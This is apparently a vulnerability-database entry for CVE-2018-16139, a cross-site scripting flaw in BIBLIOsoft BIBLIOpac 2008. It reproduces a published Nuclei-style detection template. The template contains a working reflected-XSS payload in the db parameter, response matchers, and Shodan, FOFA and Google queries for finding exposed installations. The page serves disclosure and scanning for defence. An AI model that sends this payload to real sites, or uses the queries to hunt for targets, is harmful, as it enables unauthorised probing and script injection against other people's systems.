CVE-2018-16139: BIBLIOsoft BIBLIOpac 2008 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: BIBLIOsoft BIBLIOpac 2008 | POC: 已公开

漏洞描述

BIBLIOsoft BIBLIOpac 2008 contains a cross-site scripting vulnerability via the db or action parameter to bin/wxis.exe/bibliopac/, which allows a remote attacker to inject arbitrary web script or HTML.

PoC代码[已公开]

id: CVE-2018-16139

info:
  name: BIBLIOsoft BIBLIOpac 2008 - Cross-Site Scripting
  author: atomiczsec
  severity: medium
  description: |
    BIBLIOsoft BIBLIOpac 2008 contains a cross-site scripting vulnerability via the db or action parameter to bin/wxis.exe/bibliopac/, which allows a remote attacker to inject arbitrary web script or HTML.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest patch or upgrade to a newer version of BIBLIOsoft BIBLIOpac 2008 that addresses the XSS vulnerability.
  reference:
    - https://www.0x90.zone/web/xss/2019/02/01/XSS-Bibliosoft.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16139
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-16139
    cwe-id: CWE-79
    epss-score: 0.02063
    epss-percentile: 0.83275
    cpe: cpe:2.3:a:bibliosoft:bibliopac:2008:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: bibliosoft
    product: bibliopac
    shodan-query:
      - title:"Bibliopac"
      - http.title:"bibliopac"
    fofa-query: title="bibliopac"
    google-query: intitle:"bibliopac"
  tags: cve,cve2018,xss,bibliopac,bibliosoft

http:
  - method: GET
    path:
      - '{{BaseURL}}/bibliopac/bin/wxis.exe/bibliopac/?IsisScript=bibliopac/bin/bibliopac.xic&db="><script>prompt(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>prompt(document.domain)</script>.xrf'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203dd605c740b8acdf02ea58f239a080e2f9e6fdd252440e881c5e40c2941e3dae022100b69cb597d72da1c89dc2218a6654fccf9fbeea36aa48c9003a72034ecb747f0a:922c64590222798bb761d5b6d8e72950